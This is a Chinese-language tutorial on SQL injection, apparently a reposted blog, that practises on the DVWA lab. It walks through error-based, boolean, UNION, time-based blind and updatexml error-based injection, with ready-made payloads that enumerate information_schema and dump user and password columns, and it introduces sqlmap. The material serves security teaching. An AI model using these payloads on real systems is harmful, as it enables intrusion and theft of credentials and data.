Web安全-SQL注入

一、定义
SQL Injection, 是一种常见的web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据库,或者利用潜在的数据库漏洞进行攻击。

二、SQL注入的条件

  1. 有参数的传递
  2. 可以控制输入的数据
  3. 服务器要执行的代码拼接了控制的数据:即工程师将外部的输入直接嵌入到将要执行的SQL语句中,黑客可以利用这一点执行SQL指令来达到自己的目的。

三、SQL注入的本质
数据和代码未分离,即数据当做了代码来执行

四、SQL注入的危害

  1. 获取服务器的权限
  2. 植入Webshell,获取服务器后门
  3. 读取服务器敏感文件
  4. 万能密码
    在这里插入图片描述

五、SQL注入流程
5. 判断是否有SQL注入漏洞
6. 判断操作系统、数据库和web应用的类型
7. 获取数据库信息,包括管理员信息及拖库
8. 加密信息破解,sqlmap可自动破解
9. 提升权限,获得sql-shell、os-shell、登录应用后台

六、SQL语句复习

//简单查询示例
当前库 dvwa  dvwa.users
select * from users;
select user_id,first_name,last_name from users;

其他库 mysql.user
desc mysql.user
select * from mysql.user
select user,password,host from mysql.user

其他库:wordpress.user
desc wordpress.wp_users;
select * from wordpress.wp_users;
select user_login,user_pass from wordpress.wp_users;

上面示例中desc的作用:
在这里插入图片描述

//条件查询示例
select user,password,host from mysql.user where user='root'
select user,password,host from mysql.user where user='root' and host='localhost';
select user,password,host from mysql.user where user='root' or host='localhost';

select user_id,first_name,last_name from dvwa.users where first_name='yangge';
select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;
//联合查询UNION
select user,password from mysql.user;
select user_login,user_pass from wordpress.wp_users;
select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;
select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;

这句sql语句最后执行失败,提示信息如下图:
在这里插入图片描述
由此可得,union查询前后字段数必须相同,我们可以优化为下面这条sql:
在这里插入图片描述
注意:
在上面的示例中,root加了引号就是字符串,表示查询user字段的值等于root,如果没有加引号就是字段名,表示user字段等于root字段,如两表关联查询 tableA.user = tableB.root ,表示表A root字段的值等于表B root字段的值 ,如果是数字的话就可以不用加引号,因为数字不能当做字段,所以这里不会默认把数字当成字段的名称

在这里插入图片描述
上图sql示例中,where条件不存在,所以相当于union前面的句子没有起到作用,只是生效了union后面的语句。即查询出来的数据是union后面的sql语句得到的数据,但是字段名是union前面sql语句的字段名

思考问题:前面的查询语句已经写死了,如何使下面的语句执行成功呢?
mysql>select * from dvwa.users;
		->union
		->select user_login,user_pass from wordpress.wp_users;
ERROR:The used SELECT statements have a different number of columns

方法:猜字段数
mysql> select * from dvwa.users union select 1;
mysql> select * from dvwa.users union select 1,2;
mysql> select * from dvwa.users union select 1,2,3;
mysql> select * from dvwa.users union select 1,2,3,4;
mysql> select * from dvwa.users union select 1,2,3,4,5;
这里也可以使用order by来猜字段数
如select * from dvwa.users order by 3; 表示按照第三列来排序,如果实际的列数为m列,那么这里的order by小于等于m时成立,大于m时就会报错

mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

在这里插入图片描述

//获取所有列的所有信息
select * from information_schema.columns;
//获取所有列的名字
select columns_name from INFORMATION_SCHEMA.columns;
//获取dvwa库,users表的列的名字
select columns_name from INFORMATION_SCHEMA.columns where table_schema='dvwa' and table_name='user';
//获取dvwa库所有列的名字
select columns_name from INFORMATION_SCHEMA.columns where table_schema='dvwa';
' union select 1, version() --     得到版本
' union select 1, database() -- 得到当前数据库名
' union select 1, table_schema from information_schema.tables --   得到库名
' union select 1, table_name from information_schema.tables -- 得到表名

' union select 1,concat(table_schema,table_name) from information_schema.tables -- 同时得到库名和表名
' union select 1,column_name from information_schema.columns where table_name='users' -- 得到表字段(列名)
' union select user,password from users --    得到表里的数据

SQL语句解析过程:

FROM
	from 后面的表标识了这条语句要查询的数据源
	fromm 过程之后形成了一张虚拟表VT1
WHERE
	WHERE 对VT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2
GROUP BY
	GROUP BY 会把VT2生成的表按照GROUP BY 中的列进行分组,生成VT3
HAVING
	HAVING 这个子句对VT3表中的不同分组进行过滤,满足HAVING条件的子句被加入到VT4表中
SELECT
	SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表
	-计算表达式,计算select 子句中的表达式,生成VT5-1
	-DISTINCT 寻找VT5-1表中重复的列,并删掉,生成VT5-2
	-TOPORDER BY子句定义的结果中,筛选出符合条件的列,生成VT5-3

七、手动注入实践
1. 基于错误的注入
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认Sql注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息;
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型;
在这里插入图片描述
在这里插入图片描述
如果我们在靶机中输入1,就会产生下图的结果

在这里插入图片描述
由此可推测,这里的查询语句可能为:

select first_name,last_name from dvwa.users where user_id = 1;

那假如我们在输入框中输入单引号 ’ ,出现下图的情况
在这里插入图片描述
以上错误的输入不是为了注入,而是为了测试单引号是否会被过滤,是否存在漏洞
2. 基于布尔的注入
布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;
在这里插入图片描述

原始语句:
select first_name,last_name from dvwa.users where user_id = ' ';
SQL注入语句解析:' or 1=1 -- '
select first_name,last_name from dvwa.users where user_id = '  ' or 1=1  -- '  '

备注: 第一个’ 用于闭合前面的条件
or 1=1 为真的条件
– 将注释后面的所有语句

以上这种方式可以基于开发者的sql查到指定表指定字段的所有信息

3. 基于UNION的注入
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;
一般通过错误和布尔注入确定注入点以后,便开始通过union语句来获取有效信息。

//猜测数据列数
'  union select 1 -- '
'  union select 1,2 -- '
'  union select 1,2,3 -- '
'  union select 1,2,3,4 -- '
SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id =' ' union select 1 -- ' ';
select first_name,last_name from dvwa.users where user_id =' ' union select 1,2 -- ' ';
//获得当前数据库及用户信息
'union select version(), database() -- '
'union select user(), database() -- '
select first_name,last_name from dvwa.users where user_id =' '  union select version(),database() -- '  '
select first_name,last_name from dvwa.users where user_id =' ' union select user(), database() -- '
说明:
version() 获取数据库版本信息
database() 获取当前数据库名
user() 获得当前用户名

//查询数据库中所有表
information_schema 数据库是MySQL自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

SQL注入语句解析:
select * from information_schema.TABLES\G

//查看所有库名
'union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ' 
select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ' 

//查看库中所有表名
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' 
select first_name,last_name from dvwa.users where user_id ='  ' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' 

//同时查询表名及对应库名
' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' 
select first_name,last_name from dvwa.users where user_id ='  ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' 

在这里插入图片描述
在这里插入图片描述
union 后面语句的字段必须和前面语句的字段数一样多,如果后面的少了,那就添加数字代替(前面提到过),如果后面多了,那就用上图中的concat进行拼接

4. 基于时间的盲注
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191205180458500.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3Nzg2MDE0,size_16,color_FFFFFF,t_70
延时型语句:sleep(参数,任意正整数,一般为秒)
if(a,b,c) 意思就是如果条件a成立,则输出结果b,否则输出c
获取数据库长度
语句示例:?id=2’ and if(length(database())>8,sleep(5),1) --+,如果database()的长度大于等于8就sleep 5秒,否则输出1
获取数据库的名字
?id=2’ and if(substr(database(),1,1)=‘a’,sleep(5),1) --+
substr(string string, int a, int b):string为需要解除的字符串,a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取),b 要截取的字符串的长度。

参考链接:https://blog.csdn.net/SouthWind0/article/details/82926845

5. 报错注入
函数解释:
extractvalue():从目标XML中返回所查询值的字符串
EXTRACTVALUE (XML_document,XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,中文为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串

**UPDATEXML   (XML_document,XPath_string,new_value);**
第一个参数:XML_document是string格式,为XML文档对象的名称,中文为Doc
第二个参数:XPath_string(Xpath格式的字符串)
第三个参数:new_value,string格式,替换查找到的符合条件的数据。

在这里插入图片描述

updatexml(1,concat(0x5e,version(),0x5e),1) 这是报错注入的一个固定格式,把需要查询的内容替换掉version()即可,也可以用select语句替换,这里0x5e代表^符号,最后查出来的内容都在在两个 ^ 里面。但是如果查出来的数据太长这里会展示不全,所以这里需要进行字符串的截取
updatexml(1,concat(0x5e,substr((select password from users),1,16),0x5e),1)
先展示前面1-16位,然后再查出后面17-34位,再自己进行拼接

八、sqlmap自动化注入
SQL注入比较好用的工具就是SQLmap,这是一个国内外著名的安全稳定性测试工具,可以永凯进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至外带数据连接的方式执行操作系统命令。


在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
sqlmap学习参考链接:https://blog.csdn.net/bylfsj/article/details/101218344

https://www.freebuf.com/sectool/164608.html

SQL注入视频学习链接:https://www.bilibili.com/video/av77851975?p=4

SQL注入实战例子(转):
https://blog.csdn.net/weixin_43915762/article/details/87909751
https://blog.csdn.net/weixin_43915762/article/details/86995158
https://blog.csdn.net/weixin_43915762/article/details/87036552

sql-lib通关:
https://blog.csdn.net/tianjin_ren/article/details/89945501?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章